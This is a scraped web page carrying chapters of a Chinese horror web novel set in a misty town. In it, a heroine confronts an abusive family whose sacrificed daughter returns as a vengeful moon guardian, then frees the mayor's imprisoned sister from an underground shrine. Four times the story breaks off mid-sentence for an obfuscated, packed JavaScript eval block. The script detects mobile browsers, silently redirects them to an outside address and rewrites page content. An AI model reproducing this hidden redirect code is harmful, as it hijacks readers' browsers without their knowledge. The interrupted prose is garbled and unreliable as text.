“就是可惜了,小玉还是不如镇长家的女儿啊。她被献祭,月亮还是时不时愤怒,惹得人心惶惶。也不知道你这条命,能不能换来平静。” 核桃被重重拍在桌子上,发出一声闷雷般的声响,给他癫狂的发言划上休止符。 连钰没想到,这个男人到现在还在装,甚至说错了自己女儿的死因。 “你认为梁玉早就被献祭了?” “不错。” “……哈哈,哈哈哈!”连钰扯开嘴角,半是凄凉半是无奈地笑出声,为了那个女孩,也为了她自己。 “你连梁玉怎么死的都不知道,还在这里装什么冷静。你以为你是什么东西,能决定我的命运?” 梁父大怒,就要跳起来动手,被黑暗里摸索过来的梁锦拉住。 “爸,别气,喝点水。” 下一秒,女孩手里捧着的茶碗就被拍飞,劈里啪啦摔成碎片。 就在同一刻,屋外轰隆一声。 下雨了。 突如其来的雨打断梁父的动作,让他怔怔地凝视着木板门,想要透过这看到什么。 “怎么会下雨?” 梁父喃喃出口。而他的疑问恰好也是连钰的疑问。 在她看来,镇子里的天象变化都和自己的“解梦”进度有关。接下来,一定会发生什么。 她后退几步,站到楼梯口处。 “你不知道的真相,很快就要揭晓了。不想见到的人,也会很快出现。” “你什么意思?” 一片漆黑里,只有突然响起的敲门声回应了他。 “咚咚,咚咚咚。” 无人应门。 敲门声还在继续,以两下三下的规律响起。 在没人看见的黑暗里,梁父的面色逐渐发白。他再不关心孩子,也知道自己大女儿的敲门习惯,毕竟那个丫头常常在他回家后才到家。 大丫头不是已经被献祭了吗?姓路的真的骗了他? 那大丫头现在……算什么。外面可是红色的月亮。 从不敢在月亮愤怒时出门的梁父,完全不知道在这种夜晚,在某些时段,会有“守卫”出现。 或许曾经那些说是疯了的人,不是无缘无故的疯掉。 连钰趁着梁父愣神的时候已经走到门旁,抽出了门栓。 “不!” 梁父在听见木头划拉的声音就反应过来,可是已经太迟。 瓢泼大雨往往伴随着大风。大门被“砰”地一下吹开大敞,血色照耀下的连成无数线的雨幕里,他熟悉的人影正站在门前。 连钰知道,梁玉是为她而来。今晚的梁玉大概没法有自主意识,会成为像阿婆那样一心一意为镇子的守卫,即便月亮正在因她的选择而转化,但她不能肯定对方一定抱有善意。 但好在…… 借助流进屋内的月光,她看见了梁父脸上具现的恐惧。 好在这里或许有一个目标能够吸引梁玉。 被屋内所有人注视的梁玉依然穿着白裙子,身上不见血迹,也不见大起的肚子。她就像只是出了个门,现在只是回家而已。 她站在雨里还没有动,梁父就已经站起退后。 “她怎么还活着?”梁父不可置信地瞥向连钰。 “她,不算活着,”连钰平静地回答,“昨晚她出现在旁边的巷子里,浑身是伤。” 不等其他人询问,她就继续说:“今天早上,我问你有没有见过路家的媳妇,你不答。现在我知道了,你没见过。因为,路叔叔所说的就是你的女儿。” “不可能!我们约定的是,是……” “是让我替代梁玉。”连钰帮梁父说完,“可惜,路叔叔有自己的盘算。” “反正已经有我这个祭品了,梁玉又不得不暂时消失。那么,梁玉的命运就掌握在他的手上。” 说到这里,她一阵悲哀。抬眼看向梁父时,发现梁母站在靠近厨房的角落,怔怔地望向女儿,连手里拿着的抹布掉了也不知道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729903|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那又怎么样!你想指责我,也不看你有没有这个资格。不过就是个祭品,等明天我就把你送去,看你能耐什么!” 梁父色厉内荏,嘴上不饶人,自己却悄悄又往后退了两步。 男人平时依靠暴力、传统、规矩死死地压制女人,又无比害怕女人不再是人类后,对自己作出报复。 这是一种暴力的轮回。 “你为什么这么害怕自己的女儿?因为是你把她送去的?今早我提起路家媳妇,你那么恶狠狠地盯着我,是厌恶我,还是厌恶你自己?!” 连钰步步紧逼,这一刻她替代不言不语的梁玉,说出了她的心声。 梁父眼睛瞪大,已经无法思考怎么应付连钰的逼问,他死死盯着门的方向。 因为梁玉在此时终于迈进这个曾经的家。 她沾满雨水的赤足在地面留下印记,裙摆的水滴滑落,宣告梁父心理防线的终结。 “不是我把你送去的,是你-妈!她同意的!”梁父这才想起角落的妻子。 “我想起来了,我还没跟你算账!你这几晚偷偷加药,让我晚上睡得昏死过去,你究竟在做什么?” 连钰一怔,接着发现梁父虽然在朝梁母发难,但是靠近了梁母。 老登想用梁母当挡箭牌,必要时候推对方出去死? 连钰心念一转,默默从自己的位置靠近梁母的方向。她对梁母没有那么多同情,毕竟对方也给自己下药,还说了些让人毛骨悚然的话。但是,她希望老登要是死了,梁母能活下去,给自己一点信息。 梁母终于出口,有种如释重负的解脱。 “因为恶心你。” “什么?”梁父不敢相信自己的耳朵,余光瞥见梁玉又站在屋内不动后松了口气,又挺直胸膛大喊大叫。 梁玉似乎也在等梁母的答案。 “因为不想和你生儿子。不想让我的孩子变得和你一样!” 梁母扯下梁父拽着她衣袖的手,狠狠甩在一边。 “我受够了,这个理由你满不满意?” “我生了两个女儿,你对我冷眼打骂,家里家外都是我忙前忙后,这些我都可以忍。但是,我唯一的要求你都没有做到。” “我只是要小玉好好活着……” 可是,刚才她都听见了什么。那个她心怀愧疚求来的,当作女儿替代的女孩,没能替下小玉。之后她亲眼见到小玉变成了能在红月下行走的怪物。她曾经麻痹自己,让自己成为帮凶,结果现在一切都没了意义。 梁母胸口大力起伏,一通发泄后失去了再说话的力气。 梁父不知是气狠了还是怎么,站在原地没有反驳。 连钰说道:“有一点你弄错了。只要在这个镇子里,梁玉的命运就不会改变。就算她活了,也只是另一个你。” 梁父梁母同时抬头,发现自己的女儿不知何时已经站在面前。 “小玉,爸不是故意的……”梁父想要辩解,却没有想到任何有力的借口。 “我……” 他想要编织谎言,就像从前他随口应付女人说的那些一样,可是他胸口一凉,再也说不出话。 梁玉的手穿胸而过,从他火热的胸膛里掏出一颗正在跳动的肉块。 肉块被她托着送向小腹,平坦的小腹里忽然传来一句: “妈妈,饿。” 那个婴孩又长了出来,像摆脱不了的诅咒。 42. 迷雾小镇(12)奉献 风雨交加的深夜,已经被转化为月亮“守卫”的梁玉亲手掏出自己父亲的心脏。 看着这一幕的连钰,心中忽然对“守卫”的条件有所明悟。 所谓的“守卫”,是注定留在小镇的女人,是被束缚、被捆绑一生的女人。 “守卫”内部也是矛盾的。像梁玉,依靠仇恨支撑;那位婆婆,已经成为小镇的帮凶,心中全是自己歪曲的信念。许许多多极端的意识汇聚,成了月亮的守卫。 而像梁锦与连钰,还没有成为祭品或被小镇里的男性伤害,没有被打上小镇的烙印,所以还有逃走的可能。而梁母……既懦弱得不敢反抗,默默忍受暴力与怨怼,又拼了命保护自己的孩子。她不够极端,意识不够纯粹,和小镇里其他没有过多“戏份”的女人一样,草草过完一生。 连钰如果在一开始反抗得不够激烈,也没有选择帮助其他女人,大概会让月亮的意识偏向愚昧落后的小镇,那样才是真正的困局。 而现在,凌驾于全家女人头上数十年的梁父,迎来了自己的终局。 “嗬……”梁父颤-抖着捂住胸口的大洞,无法阻止血液喷涌而出,最终滑落在地。 梁母怔怔地望着这个自己痛恨的男人生命流逝,站在原地,头垂着一言不发。她永远干净整洁的蓝布衣裳溅满男人的鲜血,在这个雨夜,让她感到……莫名温暖。 她如同缺少润滑的机械,钝钝得转向自己的女儿。 她听见了那声“妈妈”。 女儿的肚子仍旧平坦,可是凭空裂开一个小口,伸-出一只婴儿的小手,接住梁玉手中新鲜的血肉。 闷闷的咀嚼声从裂口传来,片刻后停止。 她看见,自己的女儿终于看向她。 四目相接的时候,她泪流满面。她知道,那个被自己带回来做替代品的女孩说的是真的。她的女儿被欺负了,就和曾经的她一样。 巨大的悲伤几乎让她窒息。她张着嘴,想哭哭不出声。 别怕,妈妈来陪你。你要妈妈的心脏,我都给。 她主动上前,拉住女儿的手。手上原本都是温热的鲜血,现在也慢慢变冷了。她又想到什么,自己冲进厨房,哆哆嗦嗦拿出一把刀,刀尖对准胸膛狠狠刺入。 “这是妈欠你的……”她双唇抖动,忍耐着剜心的痛苦,想让女儿看清自己的爱。 梁玉站在原地,没有阻拦也没有开口,在梁母期盼痛苦的眼神中,踩着来时的脚印,回到了月光照映的血色雨幕中。 “不——” “小玉,小玉!你回来!” 曾经,她自以为是的爱,梁玉不需要。现在,她要给自己的心,自己的任何东西,梁玉都不在意。 在梁母撕心裂肺的呐喊中,梁玉头也不回地消失于茫茫大雨中。 梁锦自从被梁父挥开后就一直待在旁边,直到梁父被杀,梁母自我伤害,都没有上前一步。 连钰走到她身旁,拉起这个曾对自己释放善意的小女孩。 “你要走吗?” 梁锦摇摇头:“我不知道。” 她不知道自己应该怎么做,就像她一直没有弄明白怎么样爸妈才会眼里看见自己。 “你还有机会。不要被这个小镇同化。” 梁锦若有所悟,握着连钰的手缓缓起身。她一直蹲在这儿,脚都麻了,这下起来都不得不慢吞吞。 趴倒在地的梁母隔着桌椅看见两双脚往外走,突然想起自己还有小女儿,她还有依靠。 “不,小锦,别走!” 梁锦走得很慢,但没有停下。梁母见状更加疯狂,声线几乎撕裂。 “别走!你不能走!妈妈只有你了!别走!” 梁母浑身鲜血,伤口有一定深度,又大喊大叫,让她没有站起来追上去的力气。她抠住地砖的缝隙,一点一点往前挪。 借着红色的月光,她看见地板上残留的杂乱无章的湿脚印,她爬得更卖力了,直到她看见唯一一个明显是赤足的脚印才顿住。 她回过头,发现自己身上的血已经遮住几个这样的脚印。 “不,不行。”她拼命用衣袖擦拭,然而满是鲜血的衣袖越擦越乱,几下擦拭就让地板看不出之前的模样。 “不,别走。我什么都没了……什么都没了……” 停息没有多久的泪水再次奔涌而出。这个在别人口中没有自己姓氏,在家中没有地位,甚至没有自我的女人,曾经试图遮住双眼自我欺骗,直到现实撕开她的遮眼布。等到她明白过来,一切都已经太迟。 等到白天,太阳出来雨停了,这间屋子里连脚印都不会留下。 …… 梁锦出来时什么都没带,脚上穿着的还是拖鞋,在大雨里很快就被冲得水答答,一踩就有水珠争先恐后地从脚缝钻出。 她已经恢复知觉,自己脱了鞋,跟着连钰在大雨里前进。 “姐姐,我们去哪儿?”她仍旧叫连钰姐姐,就像连钰把她当妹妹一样。 “去救一个和你差不多的人。” “那之后呢?” “离开。我们会在那里找到线索。” “从没有人离开过小镇……”梁锦低头轻声道,怕说大声让连钰听见。 但是连钰没有听见也知道她在想什么,她搂着梁锦的肩膀,给女孩传递一些温暖。 “说说你对镇长的了解吧,包括那个据说是死了的女儿。” 她感到女孩的身体有一丝僵硬,随后恢复正常。 “好。” 梁锦道:“现在的镇长名叫江黎。不久前,镇长还是他的父亲。你说的那个女儿,是江黎的妹妹。” 镇子里一直都有祭祀。据说最开始是因为一个怨魂,后来月亮也开始不对劲。镇子里的人献上祭品,摸索出规律。 每年都要献上一个少女,否则月亮会每晚都是愤怒的状态,不仅是夜晚无法让人外出,而且会让镇子里的作物牲畜生长缓慢,在几天内就会导致动物疯癫、植物枯死。曾经有人把自己的女儿藏起来,耽误祭祀,结果镇子里除了人就只剩下白色的小花活着。 那一次,不得不献上更多少女,才让月亮恢复稳定。 镇子里的人口增长不快,于是人们会诱捕外来的人。镇子周围的迷雾只有少数几个人能进入,他们带回外面迷路的人,用特殊的方法洗去记忆,让对方认为自己就是小镇里的人。男的可以充作壮丁或者储备粮,女人就是祭品。 镇子里的女人无时无刻不处于监视下。祭祀和生育都离不开女人,想逃跑的女人很多,但是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733277|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有成功的。 具体的祭祀流程,梁锦也不知道,这不是她能接触的。 连钰思考后说:“从前的女人没有成功,是因为她们自己在许久以前作出的选择。” 那些女孩,她不了解,不好妄言。或许有的人小时候目睹其他女人受欺负,没有伸-出过援手,长大后轮到自己,才开始恐慌。或许有的人像梁母一样自欺欺人,以为顺从家里的男人就能活,但是等待她们的是无止境的生育和繁重的劳动。 在小镇里长大的女人,没有小镇意识的烙印,很难。 而外来的女人被洗去记忆,要想逃离,必须意识到不对劲,还要利用规则探索信息,在没有帮手的情况下找到出路,整个过程每一关都是地狱级别的困难。 而且……这是一个梦,或许是一个没有逃离小镇的女人的梦,又或许是女性集体意识所作的梦。 悲哀与痛苦交织下所造就的“故事背景”是没有人能逃离,也在情理之中。 梁锦没有吭声,可能是没理解她们做的选择和自己的命运有什么关系。 “那,江黎的妹妹是怎么死的?” 梁锦答道:“江艳说是掉下水淹死了。” 水? 连钰抓住重点:“是在河边?” “不,是掉井里了。说当时在井旁边,没留神滑了下去,正好旁边没人,听不见呼救。” 不对。 “你说的是镇长家的井?” 梁锦点点头。 连钰这下可以肯定了。 “江艳没有死。我们这下要救的就是她。” 梁锦一时无言,大概是意识到江家或许也像梁家一样在找替死鬼……她不知道对连钰说什么。 好在连钰压根没注意到她的尴尬。她只顾着想就算江家是为了留江艳一条命,也不至于把她扔底下不给衣服。 而且,江艳自己什么都不记得。有可能是真的受过伤,失去了记忆,但更可能是被用特殊手段洗掉记忆。 江家用这么极端的方式确保江艳藏在地底,一定有别的原因。 说不定江艳对他们另有用处,又或者江艳……曾经想逃跑。而江家人不想失去一个女人。 这一段路不长,只是因为雨太大模糊视了视野才走得慢些。就在连钰思考的时候,两人已经到了镇长家门口。 乌黑的大门经历雨水冲刷,现出油亮的光泽,屋檐两旁坠着两盏灯笼,是路远提过的样式。 连钰心下暗道不好。 之前月亮愤怒时,镇长家也没有挂灯笼,偏偏今晚挂了。今晚一定有什么特殊,说不定正在进行祭祀! “梁锦,一会儿见到什么都不要害怕。我们距离逃出去已经很近了,你要坚持。”连钰扶着梁锦的肩膀,看进她干净的眼眸叮嘱道。 连钰不知道梁锦有没有隐瞒什么,或许梁锦没有表面那么简单。但是,这样一个被家人当作透明人的女孩总让她心生怜惜,而且,梁锦身上的气质让她很想要保护,就像曾经梁锦保护过她一样。 说完,她不等梁锦开口,就轻轻推开了那扇大门。 梁锦把要说出口的话咽下去。 反正,她们都要拼命一搏了。要是能出去,姐姐身后那双手的主人,可能也会消失吧…… 43. 迷雾小镇(13)保护 大门“吱呀”一声后被推开,庭院里和之前的布置一样,整个宅子冷冷清清。 连钰拉着梁锦进入江家,站在井旁意识到自己似乎又要从这下去。毕竟,她上次从正屋逃出来,知道那里红布盖着的东西、成排的牌位和屋子里的香气都很古怪。想来想去,竟然是从井下去最安全…… 上次她一个人下去都费劲,带着梁锦的话,不知道这个女孩有没有力气支撑。 连钰探头进去一摸,眼神一凝。 原本只有苔藓的砖缝里多出了几块插-进去的瓦片,整整齐齐,刚好符合人爬上爬下的距离。 有人特意安排了下井的路,这个人不用多想也知道就是江黎。 他知道连钰会来。 “我先下去,在下面接应你,你一会儿踩着瓦片下来。”连钰叮嘱完后先滑下去示范。 瓦片不够厚实,好在插得够深,还算稳当。连钰一路有惊无险,梁锦紧跟其后。 连钰在井底看着梁锦娴熟专业的姿势,陷入沉思。梁锦给她的感觉越来越熟悉了。 但是现在不是说身份的时候。 两人一前一后顺着连钰之前探的路爬到地底空间的入口,里面的状况和上次相比又有所变化。 江黎如同之前那个女人所说的一样,正在对着水面哼唱不知名的歌谣,唱词听不清楚。原本安安静静的树在回荡的歌声里有规律地轻微摇动,其上,果实色泽越发鲜艳。 尤其是黑色的果实,有种要把人的心绪全部吸进去的魔力。 连钰偏过头再看,江艳仍旧在石台旁,之前连钰脱给她的衣服果然不见了,江艳又是赤-裸着身体。突然,江艳像是怕冷似的动了一下,露-出了脚腕上的锁链。江黎不想让她离开,甚至将妹妹锁了起来。 连钰看到这拳头都硬了。都是虚伪的人,梁母比江黎可好多了。江黎之前不给江艳穿衣服,估计就是防止江艳逃跑,剥了她的衣服,让她因为羞-耻不想暴露于人前。可现在,都锁了江艳还不给衣服,简直就是没人性。 空灵的歌声逐渐消散。江黎缓缓起身,撩起被水浸-透的衣摆拧干,整理好后,他仍旧背对着洞口说:“既然已经来了,不如出来说话。” 连钰让梁锦站在身后,自己上前说道:“你做这么多,在等我这个祭品自投罗网?” 江黎转身,脸上依旧没有一丝血色,甚至没有多余的表情,如同戴着面具的瓷偶,只在看见连钰身后的人时出现了一丝裂痕。 连钰注意到他表情一瞬间的变化。梁锦和江黎认识? “你总会来的。”江黎又恢复面无表情。 “那你现在怎么不动手,”连钰说,“是因为,树选中了我。” 江黎没有被她激怒。 “是,也不是。选中你的是月亮。有月亮才有这棵树。” 连钰悄悄记下。既然江黎侍奉的是月亮,祭祀却在地底下,这说不通。除非,这里有什么设置,能让月亮接受祭品。 “你没办法伤害我,还想要我做祭品。不觉得不合理吗?” “献祭,并不代表死亡。过去那些人献出生命,是因为这是她们仅有的东西。而你,月亮对你另眼相待,祂对你的要求大概不是生命。” ……的确。 连钰深吸一口气。月亮对她的要求,大概是真正解救小镇里的女人,而且必须要有关键人物。之前她从江家逃出来后,影子里的肩膀上多了一双手。这是提示。月亮想要的,是她解救曾经的祭品,江黎的妹妹。 这么看来,逃出去的计划已经成功了一半。可问题在于,江艳愿不愿意走。 “我猜,你已经知道月亮对我的要求了。” 江黎听后默然不语,侧身望向平静的水面。 片刻后,他说道:“我知道,而且,我不同意。” 连钰没有急于和江黎打斗,在她看来,能否真的解救江艳,在于江艳本人。江黎既不能杀连钰,也不太可能打得过她和梁锦两个人。 “你当然不愿意。你剥了亲妹妹的衣裳,让她一个人在冰冷的地底下不见天日地活着。这是因为她对你们江家还有利用价值。” 如果真的是保护她,怎么会苛待她至此。 江黎嘴唇抿起,不再看水面,面庞终于多了一丝生气。 “你说错了。在你看来,我在囚禁她,可是我做的一切是为了保护她。” 他的面庞因为愤怒多了一丝红晕,但他深吸一口气,努力平静地说道: “艳艳从小就不乖。父亲觉得她总是要当祭品的,没有多管,所以艳艳一直都无忧无虑,肆意生长。直到父亲快病死了。” 镇长之位的交接需要祭祀,祭品必须是本家人。 “艳艳被抓起来,每天只有刚好饿不死的食物。她一直求我放她走,可是我不能。江家一直是小镇的镇长,是月亮的祭司,这个位置不能让给别人。” 锁在石台旁的江艳脑袋埋在臂弯里动了动。 “后来,艳艳不求我了,她开始绝食,试图饿死自己,让自己死在祭祀之前。可惜她没如愿。” “因为父亲死了。” “他掉到井里淹死了。” 连钰看着用平淡的口吻叙述的江黎,心中涌起一丝忌惮。她直觉对方要说的没那么简单。 江黎嘴角扯起一抹僵硬的笑,大概是很久没有做这样的表情,整张脸有些怪异。 “是我推下去的。” “他不死,我永远得听他的。” 江黎深吸一口气。刚刚的情绪波动让他嗓音发紧。 “他死了,艳艳才能活。” 连钰忍不住出声讥讽:“即便你是要让江艳活下去,你也害死了梁玉。” 因为小镇的恶性循环,江艳不做祭品就一定要再找一个新的祭品,梁玉成了倒霉鬼。 江黎看都没看连钰一眼说道:“那又如何?不是因为艳艳,她也会死在这个小镇,早与晚有什么区别?” “她要是乖乖地成为祭品,月亮会给予她几分幸运。当祭品会受到优待,这是她平时不会有的。” “说到底,你从未想过舍弃这种伤人性命的祭祀,舍弃镇长和祭司的权力。整个小镇奴役女人是一方面,你们江家自始至终对权力的渴-望是另一个原因。” 江黎痛快地承认:“对。江家自家的女人都要承受这种命运,何况其他人。” 他转过身,嗤笑道:“你说了这么多,也带不走艳艳。她说过,她会陪我一辈子。” 江艳听到这话仍旧没有动作,一直蜷缩在祭坛旁不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737741|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连钰竭力压制心中的愤怒,可开口时声线免不了一丝颤-抖:“那江艳为什么会没有记忆?她曾经试图逃跑,对不对?你口口声声说要保护她,在你父亲死后,她也不过是在地底下苟延残喘,甚至连蔽体的衣服都没有。你剥了她的衣服,拿走她的记忆,让她没法摆脱羞-耻感,自由自在地行走!” 江黎沉下脸:“那是她违背了和我的约定。我帮她遵守承诺而已。” 江黎明显是个疯子,即便与自己的父亲有一点点不同,保住妹妹的命,也不是为了江艳,而是为了自己。 连钰不想深究为什么江黎对江艳有如此强的占有欲,她只想让江艳醒悟。 江黎盯着她的脸,缓缓说道:“你在想,江艳听了这么久,怎么还没有反应,对不对?她喝了我给的药,已经睡熟了,根本听不见我们的对话。” “艳艳一直很乖,没有记忆后,哪里都不想去,心甘情愿陪在我身边。” “你带不走她。” 江黎笃定江艳不会走,然而连钰看着他斜后方的江艳,笑了。 从一开始,江艳就没有抬头,可是有一刻,她的头埋得更深了。 她虽然不敢听,可是的确在听。 “不如你问问她自己的意思。”连钰说道。 江黎一怔,从连钰的表情看出什么,猛地回头望向妹妹。就在这时,连钰蹬地扑向水边的江黎,将对方狠狠摁倒在地。 冰冷的地下水淹没他的半边身子,包括半边脸庞。江黎的口鼻呛水,迅速猛咳。 “你知道这地底下有多冷吗?”连钰趁江黎呛水无法反抗时抓着对方的脑袋往水里按,“你自己尝尝这种滋味!” “咳咳,咳咳!” 江黎挣-扎着,在被拉出水面的时候努力睁开眼,双手扒拉按住自己的手,然而没有几秒钟就会被按回去。 “你在乎的只有你自己,还说那么好听。” 连钰一边骂他,一边狠狠治他。水面被搅碎,有些模糊不清。 某一次被按回水里时,江黎动作几下后就没了声音,水面重又恢复平静。连钰望向水里的倒影,眼睛不可置信地睁大。 在她被水面吸引注意力时,江黎抓住她的手突然起身,翻身将连钰压倒在地推入水中。 “不!”连钰听见梁锦的呼喊,可是自己刚一被推进水里,就有股吸力扯住她的身体往水里拽。 她拼命划动胳膊想游到岸边,可是那股吸力太强,她难以阻挡地被拉入更深的水底。 “艳艳!” 岸边似乎起了冲突,连钰隐约听见声音,可是很快就什么都听不见了。 她知道,因为月亮的喜爱,自己有行动上的便利,也一定会有其它的危险,没想到来得这样快。 刚才水面平静时,她看见水底映出整个小镇的模样,甚至连她熟悉的梁家和镇长家都在其中。那幅画面如同俯瞰一般将整个镇子收入其中,最底下的是人人都惧怕的月亮。 月亮不再愤怒。 巨大的暖黄-色圆盘在小镇的下方。 上面站着一个小小的人影。 刚才她没有认出那个人影是谁,现在才有所反应过来。 原来是她…… 连钰之前看到的月亮上的人脸也是她。 44. 迷雾小镇(14) 在意识到月亮是她认识的人后,连钰最后一丝恐惧褪-去,任由那股力量将自己拉入水底。 过了许久,她感到自己被托起上浮。那股力量越来越弱,最后她自己划水浮出水面。 她见到了那棵熟悉的树,只是这次上面的果实很普通,没有散发诱-人的光泽。 连钰上岸后一边观察四周一边拧干身上的水。自从那场大雨,她身上就没干过。这幅身子经历了太多事情,现在累极了,已经出现发热的症状。 必须得尽快离开,她想。没有完成任务就身死,可不能保证自己的意识不被抹杀,上次是因为任务已经完成。 四周很安静,这里是之前地底空间的翻版,只是没有祭坛。 连钰想着要不要出去看外面的镇子是什么样,水面又有了动静。梁锦拖着江艳浮到水面,连钰连忙过去伸手拉了一把。 就是衣服又湿了。 她无奈,再次拧衣摆,问道:“你们也下来了?” 梁锦点头道:“我看姐姐你和江黎发生冲突后掉下去,我也跳了下去。江艳一直都醒着,看江黎推你下去,和他发生了冲突,之后我在水里看见有人下来,大概她也落水了。” 那江黎呢? 按照他的性格,不可能放妹妹离开他。 一边的江艳咳水醒来,一脸复杂地看向梁锦。连钰见她浑身湿透,想给她擦擦,刚一伸手就看见自己同样湿透了的衣服。 她默默收回手。 江艳看出她的意图,对她笑笑。然而连钰看见她的笑容,更是复杂。 连钰没有想到,月亮上的人脸会是江艳。此时江艳的微笑让她不由得联想到月亮的微笑…… 三人一时陷入尴尬的寂静,好在连钰想到话题。 “我以为你被锁了,还想着把江黎打晕再解开你的锁链。” 江艳平静道:“我早就解开了,他不知道。” 接着,她转向一旁自从她醒来就没吭声的梁锦。 “我和……哥哥的确发生了冲突……自从没有记忆后,我就一直在等待。我想知道那个每天给我送饭但是又不伤害我的男人究竟在做什么。现在知道了,待在他身边就没意义了。” 她对连钰露-出个安抚性笑容,全然没有初见时的害怕与窘迫。 “别担心我,我吃了树上的果子后就不怕冷。” 接着她话锋一转。 “虽然我和江黎有冲突,我也的确落水,但是是我自己跳的,这点你不会不知道,”她盯紧梁锦,“因为是我先跳下去的。” “哥哥拼命拉住我,和我一起落水。你……是跟着他下来的。我看得很清楚。” 当时,梁锦看见连钰落水后很着急,但是没有第一时间跳下去,直到江黎落水,她想都没想就紧跟其后。 梁锦抿唇不答,手指绞着衣摆。 梁锦的沉默让江艳很不满。她不了解这个女孩,失忆后对于那个所谓的哥哥也只有下意识的不想伤害他而已,待到现在是为了弄清真相。这个女孩比她还在乎她哥哥,很惹人怀疑。 连钰听后倒没有太大反应,她心中早已有计较。梁锦紧跟着江黎跳下去,大概不是因为梁锦这个角色的意愿,而是梁锦背后任务者的意思。 好在,这一段不太影响梁锦的人设。完全可以强行解读为跟着江艳跳下去,反正江艳和江黎当时一起落水。 连钰说道:“那江黎呢?他到现在都没有出现。” 连钰一直看着水面,没有任何动静。这里的水面也没有倒映任何奇特的景象。 江艳叹了口气,说道:“他,大概是没法进入这里的。” “在水里,有股力量分开了我们。江黎可能不得不游回去吧。” 或者是淹死。 但是连钰不太相信那样一个自私自利的男人会真的放任自己死亡。 连钰看了下她们三个人,说道:“我们能进入,可能因为是女性。” 不光是女性,还要得到月亮的认可。江艳自不必说,连钰还不知道江艳自己有没有意识到自己的特殊。连钰经过一系列的选择,被月亮认可,而梁锦一直是家里的透明人,跟着连钰离开梁家后可能也算得到了月亮的承认。 离开这座镇子,不光要唤醒集体意识里仅存的善意,得到月亮的认可,还要发现水面的古怪并且大胆进水一探。 连钰久违地感受到留声机的恶趣味。不作死就没有出路,作死就容易死。这一回,留声机想看的是她怎样的表演? 连钰站起身看向坠满果实的大树,问道:“你吃的是哪一颗果子?” “是红色的。” 江艳当时一个人在地底空间,江黎大概是因为什么事迟了,她饿得不行,摘了一颗红色的果实。至于为什么选红色……是因为其它果实颜色更怪异。 绿的黑的,她更不敢吃。 结果吃了以后,她就不冷了,或者说,感觉不到冰冷。之后江黎再来迟,她都不着急,反正已经没有饥饿的感觉。其实她知道自己大概产生了奇怪的变化,但是这些和存活相比不算什么。 连钰从被压弯的枝条上摘下三颗红色的果子,却没有立即递给梁锦和江艳。 她有怀疑吃掉正确的果实是出去的条件之一,但是江艳说的不一定对。 江艳的从容镇定和之前判若两人,显然之前被囚禁到失去对话能力的祭品是她的伪装。连钰没有觉得这样不好,只是这样,她之前猜测要逃离就要从身体和心理上真正解救江艳的想法就是错的。 江艳一直都很清醒。 “你在想什么?”江艳轻柔的声音从她耳畔掠过,带来一丝痒意。 连钰背对着她们太久,江艳不知道什么时候走到了她的背后,离她很近。 她悚然一惊,鸡皮疙瘩粒粒站起。 “我在想你已经吃过了果子,现在还有没有必要吃。”连钰很快找到理由,转过身和江艳保持距离。 江艳道:“不必考虑我。” 又来了。江艳冷静得就像知道吃果子与否的后果一样。 连钰攥紧果实,迟迟不肯决定。 “其实,你要是不饿的话,没必要一定要尝试。”江艳看出了连钰的不自在,自己退后坐下。 连钰皱眉:“镇子外面是大雾。只有江黎等人能出去,我猜这其中有什么关键是我们不知道的。” 说到这,她自己的思路清晰了些。 江黎就算吃靠吃果实才能在大雾里不迷失方向,也不可能吃的是水面之下这棵树的果实。毕竟他本人都没办法来到这里。 还有什么是特殊的…… 连钰努力回想。 除了江黎,肯定还有人能出去。是路远的父亲吗?路远…… 路远曾经提着灯笼来找镇长,之后又以换燃料为由上门! 是灯笼! “我需要找一样东西。我们出去看看,至于果实……梁锦,你先拿着。”连钰又摘了几颗其它颜色的,让梁锦一并带着,省得真的需要这些果实的时候又要回来拿。 水底下的世界里的井没有插好的瓦片作梯子,连钰带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741479|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人从衣柜出来。 房间里的布置和之前看到的略有不同,小桌上空荡荡的,没有红布盖着的东西,屋子里也没有让人昏沉的香气。 